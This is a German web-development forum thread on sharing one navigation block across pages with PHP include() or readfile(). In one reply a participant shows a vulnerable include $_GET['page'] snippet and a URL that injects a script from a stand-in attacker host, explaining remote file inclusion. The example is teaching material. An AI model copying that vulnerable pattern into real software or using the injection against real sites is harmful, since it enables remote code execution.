Steffi: Links nicht immer bei allen ändern...

Hallo,

ich möchte meine Seite bald ohne Frames erstellen und dann muss ich auf jeder Seite, den Quelltext von der Navigation schreiben.

Aber was wenn man einen Link hinzufügt? Dann muss man doch den Quelltext auf jeder Seite ändern.
Man kann es doch irgendwie mit PHP und include so machen, dass man nicht jede Seite ändern muss, oder? Allerdings weiß ich nicht wie.

Kann mir es einer sagen? Danke!

LG
Steffi

  1. Hi,

    Kann mir es einer sagen? Danke!

    sicher, du machst einfach wie bei einem frameset eine navigation.html und bindest diese dann auf jede deiner seiten welche die endung .php haben sollten ein mit einem
    [code lang=php]
    <?
    include("navi.html");
    ?>

    MfG

    1. Hi!

      sicher, du machst einfach wie bei einem frameset eine navigation.html und bindest diese dann auf jede deiner seiten welche die endung .php haben sollten ein mit einem
      [code lang=php]
      <?
      include("navi.html");
      ?>

      Wenn es sich um statische Inhalte handelt, d.h. um solche, in deinen kein PHP-Code enthalten ist, ist readfile() besser geeignet, da diese Funktion eventueller Sicherheitslücken im Include vorbeugt, indem enthaltener Code erst gar nicht ausgeführt wird.

      Grüße,
      Fabian St.

      1. Hi Fabian,

        Wenn es sich um statische Inhalte handelt, d.h. um solche, in deinen kein PHP-Code enthalten ist, ist readfile() besser geeignet, da diese Funktion eventueller Sicherheitslücken im Include vorbeugt, indem enthaltener Code erst gar nicht ausgeführt wird.

        aber wer sollte denn da irgendwelche funktionen einbauen?

        Gruß, Marian

        1. Hi!

          Wenn es sich um statische Inhalte handelt, d.h. um solche, in deinen kein PHP-Code enthalten ist, ist readfile() besser geeignet, da diese Funktion eventueller Sicherheitslücken im Include vorbeugt, indem enthaltener Code erst gar nicht ausgeführt wird.

          aber wer sollte denn da irgendwelche funktionen einbauen?

          Im Posting der OP hieß es, sie wolle eine Navigation einbinden. Diese kann einerseits statisch sein, anderseits auch erst während der Laufzeit des Skriptes generiert werden, da diese beispielsweise von der jeweils aktuellen Seite abhängig ist.

          Aus diesem Grund ist mein obiger Hinweiß sehr wohl angebracht.

          Grüße,
          Fabian St.

          1. Hi Fabian,

            Im Posting der OP hieß es, sie wolle eine Navigation einbinden. Diese kann einerseits statisch sein, anderseits auch erst während der Laufzeit des Skriptes generiert werden, da diese beispielsweise von der jeweils aktuellen Seite abhängig ist.

            Aus diesem Grund ist mein obiger Hinweis sehr wohl angebracht.

            ich meine die sicherheitslücke, die du im include befürchtest. Da geht doch keiner dran außer ihr, wer sollte dann 'gefährliche' funktionen einbauen?

            Gruß, Marian

            1. Hi Marian,

              ich meine die sicherheitslücke, die du im include befürchtest. Da geht doch keiner dran außer ihr, wer sollte dann 'gefährliche' funktionen einbauen?

              Beispiel:

              <?php
              //foo
              include $_GET['page'] . ".php";
              //bar
              ?>

              Normalerweise soll die Seite so aufgerufen werden:

              http://www.example.org/script.php?page=start

              Eingebunden wird die start.php.

              Jetzt rufe ich die Seite mal einfach mit:

              http://www.example.org/script.php?page=http%3A%2F%2Fmeineboeseseite.de%2Fscript

              Und wenn auf dem Server allow_url_fopen auf On steht, wird das Script von http://meineboeseseite.de/script.php eingebunden, ich habe also beliebigen Code eingeschleust. Mit readfile() wäre das nicht passiert.

              Ganz unabhängig davon ist es natürlich _sehr schlecht_ den Wert $_GET['page'] ohne zu prüfen direkt zu verarbeiten, aber was soll man sagen - manche Leute machen es eben (fälschlicherweise) so.

              MfG, Dennis.

              --
              Mein SelfCode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:# ss:) de:] js:| ch:{ sh:| mo:} zu:|
              Dies hier ist ein öffentliches Forum - wer dir hier geholfen hat, hat dies vollkommen freiwillig und unter Aufopferung seiner Freizeit getan!
              1. Hi Dennis!

                [...]

                Danke für die Ausführungen - jetzt brauche ich das nicht mehr machen ;-) Darüber hinaus sollte auch das Archiv allerhand Informationen dazu bieten.

                Grüße,
                Fabian St.

                1. Hallo Fabian und Dennis!

                  Ihr mögt ja beide prinzipiell Recht haben aber genau diese index.php?seite=foobar-Methode kommt hier gar nicht zur Anwendung, so wie ich das Ausgangsposting interpretiere: "muss ich auf jeder Seite den Quelltext von der Navigation schreiben". Mit der index-Methode wäre das nämlich nur einmal nötig gewesen.
                  In diesem Fall also werden wohl festgetackerte Dateinamen beim include Verwendung finden und dann ist das auch nicht unsicherer als readfile. Und auch beim include kann man durch geeignete Prüfungen dem Missbrauch beim include etwas entgegen setzen.

                  Ich höre schon das Argument: "Man kann es aber auch gleich richtig machen." Stimmt schon - prinzipiell. Man muss aber auch nicht immer, und vor allem dann nicht wenn es im konkreten Fall weder Vorteile noch Nachteile gibt, päpstlicher als der Papst sein wollen. :-)

                  Beide Methoden (include und readfile) sind nun dargestellt, und nun liegt es an der OP welche sie für zweckmäßig hält.

                  dedlfix

                  1. Hi dedlfix!

                    Hallo Fabian und Dennis!

                    Ist doch gleich wesentlich sympathischer als dieses «echo $begrüßung» ;-)

                    Ihr mögt ja beide prinzipiell Recht haben aber genau diese index.php?seite=foobar-Methode kommt hier gar nicht zur Anwendung, so wie ich das Ausgangsposting interpretiere: "muss ich auf jeder Seite den Quelltext von der Navigation schreiben". Mit der index-Methode wäre das nämlich nur einmal nötig gewesen.
                    In diesem Fall also werden wohl festgetackerte Dateinamen beim include Verwendung finden und dann ist das auch nicht unsicherer als readfile. Und auch beim include kann man durch geeignete Prüfungen dem Missbrauch beim include etwas entgegen setzen.

                    In gewisser Weise hast du schon recht - dieses Problem ist jetzt nicht gerade das Paradebeispiel, wo man die Sicherheits-relevanten Vorteile von readfile() gegenüber include() aufzeigen könnte.

                    Ich höre schon das Argument: "Man kann es aber auch gleich richtig machen." Stimmt schon - prinzipiell. Man muss aber auch nicht immer, und vor allem dann nicht wenn es im konkreten Fall weder Vorteile noch Nachteile gibt, päpstlicher als der Papst sein wollen. :-)

                    Du kennst mich, dedlfix ;-) Das wäre nämlich tatsächlich mein, auf deine obige Aussage folgendes Gegenargument gewesen. Und ich stehe auch dazu! *g*

                    Grüße,
                    Fabian St.

                    1. Hallo.

                      Hallo Fabian und Dennis!

                      Ist doch gleich wesentlich sympathischer als dieses «echo $begrüßung» ;-)

                      Ja? Ich fühle mich dabei etwas ausgeschlossen.
                      MfG, at

    2. Hi Daniel,

      danke! Vielen Dank! :-)

      LG
      Steffi

    3. Hi Daniel,

      sicher, du machst einfach wie bei einem frameset eine navigation.html und bindest diese dann auf jede deiner seiten welche die endung .php haben sollten ein

      Da sage ich doch einfach mal Nö - die einzubindene Datei darf natürlich kein vollständiges HTML Dokument mehr sein, sondern nur noch der Teil für die wirkliche Navigation. Also kein Doctype und so ;-)

      MfG, Dennis.

      --
      Mein SelfCode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:# ss:) de:] js:| ch:{ sh:| mo:} zu:|
      Werbung ist der Versuch, das Denkvermögen des Menschen so lange außer Kraft zu setzen, bis er genügend Geld ausgegeben hat. (Ambrose Bierce)